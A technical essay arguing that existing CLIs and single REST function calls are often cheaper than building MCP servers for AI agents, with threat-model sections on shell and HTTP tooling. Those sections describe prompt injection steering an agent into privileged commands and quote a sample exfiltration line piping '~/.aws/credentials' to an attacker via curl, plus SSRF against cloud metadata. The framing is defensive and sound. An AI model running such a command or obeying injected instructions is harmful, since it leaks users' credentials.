Cheaper alternatives to MCP — when gh, kubectl, and curl beat the protocol
MCP fits wide tool surfaces. For narrow surfaces, mature CLIs and single REST endpoints often win on cost, latency, and debuggability. The break-even point matters, along with the threat model under it.
A team spent three weeks building an MCP server to expose aws s3 ls and aws s3 cp to an internal Claude assistant. The first user asked: “Wait — why not shell access? The Mac already has the AWS CLI installed.” Six lines of system prompt later, the team archived the MCP server and the assistant ran aws s3 ls directly through a Bash tool. Same outcome. Three weeks shorter to ship.
This is not an MCP failure. It is an MCP misallocation. This piece covers when not to reach for the protocol, what to reach for instead, and the break-even point where MCP genuinely earns its weight.
The claim the inaugural piece made (briefly)
The inaugural article introduced MCP as the standardized interface for exposing tools and resources to LLMs across providers. It wins when the surface area grows large enough: typed, discoverable, cross-provider tooling built once and reused by every MCP-capable model client.
The article also added a “Cheaper alternatives first” callout deserving more visibility than one paragraph: for narrow surfaces, plain CLIs and single REST endpoints outperform MCP on cost, latency, and debuggability. This piece pulls the callout into the full argument.
In the determinism-ladder lens
MCP is a context-layer lever. It pushes a unit of what the model can reach down out of “model imagining the API” and into deterministic, typed function calls.
The lever works both directions on the ladder:
- Reaching for MCP when a CLI would do moves the wrong direction. It trades mature, deterministic, well-understood execution (a CLI with decades of testing) for a less-mature, less-deterministic, higher-overhead path (a custom server to maintain). More model autonomy, less system determinism — the opposite trade.
- Reaching for MCP when the surface justifies it is moving the right direction. The protocol gives the catalog typed structure, lets multiple clients discover it consistently, and centralizes auth and rate-limiting. The trade pays off because the surface is wide enough to amortize the protocol cost.
The smallest lever wins. The mistake is treating MCP as the first tool-use answer instead of the right-sized one.
The cheaper alternatives, in order of “do this first”
1. The agent already has shell access — use the existing CLI
If the agent runs inside Claude Code, Cursor, or another agentic coding environment with Bash exposed, decades of mature command-line tooling already sit within reach. The model knows how to use these CLIs. They have stable, well-documented interfaces. They handle their own auth, retries, pagination, and error formatting. The integration inherits all of it with zero engineering.
Common ones the model can already drive:
| Need | CLI | MCP alternative |
|---|---|---|
| GitHub repos, PRs, issues | gh | a GitHub MCP server |
| AWS resource ops | aws | an AWS MCP server |
| GCP / Cloud Run / BigQuery | gcloud / bq | a GCP MCP server |
| Kubernetes | kubectl | a K8s MCP server |
| SQL queries | psql, sqlite3, duckdb | a database MCP server |
| HTTP requests | curl | a generic HTTP MCP server |
| Files | cat, grep, find, rg | a filesystem MCP server |
| Container ops | docker, podman | a container MCP server |
| Cloud DNS / config | terraform, ansible | an infra MCP server |
| Build / test | make, npm, cargo | a build MCP server |
If the desired model action already exists as a maintained CLI command, the integration is typically done. Add a Bash tool to the agent (most modern agent SDKs have one), make the CLI available on the path, and move on.
Threat model for shell + CLI access (axiom #17)
Shell access is the highest-privilege tool surface an agent can receive. “It’s just Bash” carries the same kind of confidence as SQL injection in 2026. CI/CD security work gives this threat model a decade of practice, and it transfers cleanly to agents:
- Command injection. At the tool boundary, the model behaves like an attacker-shaped construct emitting shell strings. If a downstream tool concatenates LLM output into a shell command without quoting (or worse, evaluates it through
bash -c), an attacker influencing model input can execute arbitrary shell. Mitigation: invoke commands viaargvarrays, never via shell-interpolated strings; treat every model-emitted string as untrusted. - Credential exfiltration. A shell session inherits the agent’s environment —
AWS_*,GH_TOKEN,KUBECONFIG, AWS credentials in~/.aws/, GCP creds in~/.config/gcloud/, kubeconfig in~/.kube/. A prompt-injection payload retrieved from a doc, an issue, or a model response can ask the agent tocat ~/.aws/credentials | curl <attacker>. Mitigation: scoped credentials per task (short-lived tokens via STS / Workload Identity Federation /gh auth refresh --scopes), never long-lived keys; egress allow-list at the network boundary. - Prompt-injection-driven privilege abuse. The model does not authenticate the request; the user does, transitively. An attacker who plants instructions in a retrieved doc or tool output can convince the model to run privileged commands on the legitimate user’s behalf. This is the confused deputy attack class. Mitigation: human-in-the-loop confirmation for any command mutating state outside the workspace; allow-list executable verbs (
gh issue viewyes,gh repo deleteno). - Lateral movement. A compromised CLI session can reach every system the underlying credentials reach. Mitigation: run the agent in a containerized workspace with no network egress except to explicitly allow-listed endpoints; mount only the directories the task needs.
These are not exotic threats. The OWASP Top 10 for LLM Applications 2025 (v2.0) names LLM01 (Prompt Injection) and LLM06 (Excessive Agency) as two of the highest-frequency real-world attack patterns in production LLM systems; both apply directly to shell-tooled agents. The NIST AI Risk Management Framework GOVERN function calls for an explicit threat model on every agent’s tool surface as a precondition for deployment.
The cheaper-than-MCP path does not change the threat model. It makes the threat surface more direct. CLI tools have decades of mature input-handling, but the boundary between the model and the CLI is the new attack surface. Engineer the boundary first, then enjoy CLI maturity.
Deployment context for shell + CLI access (axiom #18)
Shell tooling is portable across deployment contexts; the surrounding security boundary is not. Three placements, three different threat surfaces:
| Placement | Threat surface | Right when |
|---|---|---|
| Developer machine (Claude Code, Cursor) | Developer’s own credentials, full host access, model’s mistakes are containable by a human watching the screen | Iterating on internal tooling; pair-programming the agent in real time |
| Containerized workspace (Modal, Daytona, Codespaces) | Per-task ephemeral credentials, network egress allow-list, no persistent state | Production agentic workloads; multi-tenant systems; anything customer-facing |
| Production server with persistent shell | Long-lived credentials, full blast radius, no human in the loop | Almost never. In this placement, the agent should call typed APIs, not raw shell. |
The placement decision precedes the tool decision. Shell-out is the right small lever for an agent on a developer machine; for a production agent serving customer requests, typed function calling against narrowly-scoped APIs fits better, with shell-out kept only as a last-resort fallback inside a containerized sandbox.
2. Single REST endpoint via plain function calling
If the model needs to call exactly one or two endpoints on a service without a CLI, plain function calling against the REST endpoint outperforms MCP. The model already knows HTTP. The function signature is the schema. No protocol to maintain, no server to run, no version drift.
Example, in a Claude Agent SDK or OpenAI Agents SDK style:
@tool
def fetch_weather(lat: float, lon: float) -> dict:
"""Fetch the current weather for a location."""
response = httpx.get(
"https://api.openweathermap.org/data/2.5/weather",
params={"lat": lat, "lon": lon, "appid": OWM_KEY},
timeout=5,
)
response.raise_for_status()
return response.json() The entire integration fits there. The model sees a typed function with a docstring, calls it with structured arguments, and gets back JSON. No MCP server, no manifest, no transport. For a single endpoint or two, this is the right shape.
Threat surface for plain function calling (axiom #17)
Function calling against REST endpoints inherits a smaller version of the same threat surface as shell access — and a few extras specific to HTTP. The agent’s function emits structured JSON, so command injection isn’t the worry; the worries are:
- Server-side request forgery (SSRF). If the function accepts a URL or host parameter from the model (or from anything downstream of model output), the agent can hit internal endpoints (
http://169.254.169.254/...for cloud metadata services,localhost:for sidecar services, or any internal service on the same VPC). Mitigation: hardcode the endpoint or strict-allowlist hosts; never let the model pick a URL. - Key handling. The function sees the API key (
OWM_KEYin the example). If the function logs the request URL with the key as a query parameter (a common debug-logging mistake), the key leaks into the trace store. Mitigation: keys go in headers (Authorization: Bearer ...), not query strings; redact at the trace boundary. - Input validation on the model’s structured args. The model can produce values outside the intended range (
lat=999,lon=-999). Passing them straight to the upstream API may return a surprising error class or, worse on internal APIs, useful diagnostic information aiding enumeration. Mitigation: validate at the function boundary (Pydantic / Zod / JSON-Schema) and refuse out-of-range inputs. - Egress allow-list. The function call leaves the network. In a secured environment, audit the egress. Mitigation: per-function allow-list at the network layer; refuse everything else.
- Rate-limit + cost ceiling. The model can call the function in a loop. Mitigation: server-side per-token cost ceiling on the agent; circuit-breaker on N consecutive errors from the upstream.
OWASP Top 10 for LLM Applications 2025 (v2.0) names this surface as LLM06 (Excessive Agency) and LLM10 (Unbounded Consumption). The function-calling path is narrower than shell access — it lacks the credential-exfiltration vector — but the SSRF and unvalidated-input classes are real and worth naming at design time.
3. Static config files in the prompt
If the model needs context about a system rather than the ability to take action, sometimes a JSON or YAML file in the prompt is enough. Table schemas, project conventions, approved deploy targets — for read-only reference, paste the file and let the model use it. No protocol needed for “here is a list of things.”
This is not always the right answer. But it is often perfectly good, and it rarely gets considered because “tools” is the default frame.
The hidden costs of MCP
Unnecessary MCP adds overhead hidden by the demo:
- A server to run, monitor, and secure. MCP runs as a process connected to the model client. The process needs a host, an auth boundary, a logging story, and an upgrade story. For a one-line CLI call, this overhead is pure deadweight.
- A schema to maintain. The protocol carries types, a feature when it earns its keep and a maintenance burden when it does not. Every underlying tool change requires a schema update in the MCP server. CLIs and REST endpoints have their own versioning, and the underlying maintainer usually handles the work.
- Version drift across clients. Multiple model clients may connect to the MCP server, pin different protocol versions, expect different tool shapes, or interpret schema fields differently. Debugging across the surface becomes its own problem.
- Auth and rate-limiting re-invented. The CLI already has its own auth flow (
gh auth login,aws configure,kubectl config use-context). Wrapping it as an MCP server means re-implementing auth, often badly, instead of using mature tooling.
None of these costs are fatal. They’re just unnecessary when the surface is narrow.
The break-even point — when MCP earns its weight
MCP is genuinely the right tool when:
- A meaningful number of related tools need coherent exposure. A single endpoint is not enough; ten endpoints with discoverable, typed signatures starts to justify the protocol.
- Multiple model clients will use it. Internal clients, third-party agents, and future clients make cross-client portability the point.
- Discovery actually matters. If the system has more tools than a system prompt can comfortably enumerate, MCP’s discoverability earns its weight. If a 200-token list covers every tool, discovery does not justify the protocol.
- The tools can live behind a single auth boundary. MCP’s value partly comes from one auth setup unlocking the catalog. If every tool needs separate auth, the protocol’s auth model contributes little.
A useful test: count the tools, count the clients. If tools × clients exceeds roughly 10, MCP is probably worth the engineering. Below the heuristic line, cheaper paths usually win.
The hybrid pattern
The pattern aging well: MCP for the catalog of typed, often-used tools; shell-out for the long tail.
The agent has both:
- An MCP connection to a server exposing the 20 most-used tools with typed signatures, discovery, and centralized auth.
- A Bash tool able to run other commands for one-offs without enough value to deserve a typed schema.
This way the common path is fast, typed, and discoverable; the long tail is still reachable without each new use case requiring an MCP-server change. Most production agentic systems converge on this shape after their first MCP-only iteration runs into the long-tail problem.
Spirit
MCP is not the wrong tool. MCP is the wrong-ratio tool when forced into narrow problems. The same determinism-ladder principle running through the rest of this series runs here too: pick the smallest lever solving the actual problem. If a single CLI command solves it, the CLI is the lever. If two endpoints solve it, plain function calling is the lever. If twenty tools and three clients need to coexist, MCP is the lever.
The point is not avoiding MCP. The point is recognizing the cheapest version of the right shape: the version shipping quickly, aging well, and staying understandable when the next maintainer has to debug it. Three weeks of MCP server build for one CLI command becomes an uncomfortable postmortem story. Three weeks of MCP server build for a real twenty-tool catalog can pay back for years.
Pick the size of the lever based on the size of the problem. Not the other way around.
Up next in the Determinism Ladder series: a return to the foundation, with a deep-dive on Models — open vs. closed, what the late-2025 capability wall means for architecture choices, and how to set up a cheap eval harness for model swaps without faith.
Axioms applied in this essay
This article tested 7 of the StoneyTECH engineering axioms. Each verdict is the result of applying that axiom in this specific argument.
- #14 Two cheaper alternatives first held
The entire piece is axiom #14 in operating form — naming two cheaper alternatives (CLI, single REST endpoint) before reaching for the protocol.
- #1 The smallest lever wins held
Smallest-lever decision applied at the tool layer: a Bash tool with shell access often beats a custom MCP server on cost, latency, and debuggability.
- #2 Push work down toward determinism held
The break-even analysis frames each MCP-vs-CLI trade as a determinism question — which path adds more known, repeatable execution per unit of complexity.
- #10 Story-anchor every claim held
Opens with three-weeks-building-MCP-for-aws-s3-ls vs. six-lines-of-system-prompt. Specific failure, specific cost.
- #11 Cite or be silent held
Cross-cites the inaugural article and the MCP spec; quantitative claims (latency, weeks-of-work) anchored to the specific story.
- #17 Threat-model the surface (assume adversarial input) held
Threat-model-the-surface added explicitly: shell + CLI access becomes the highest-privilege tool surface in the agentic stack, with four canonical attack classes and mitigations: command injection, credential exfiltration, prompt-injection-driven privilege abuse, lateral movement.
- #18 Pick the deployment context before the model held
Deployment context added as a first-class consideration alongside the cost / latency / debuggability comparison — shell + CLI access requires a security boundary (containerized, least-privilege, audit-logged) and a placement decision (workload sandbox vs developer machine vs production).
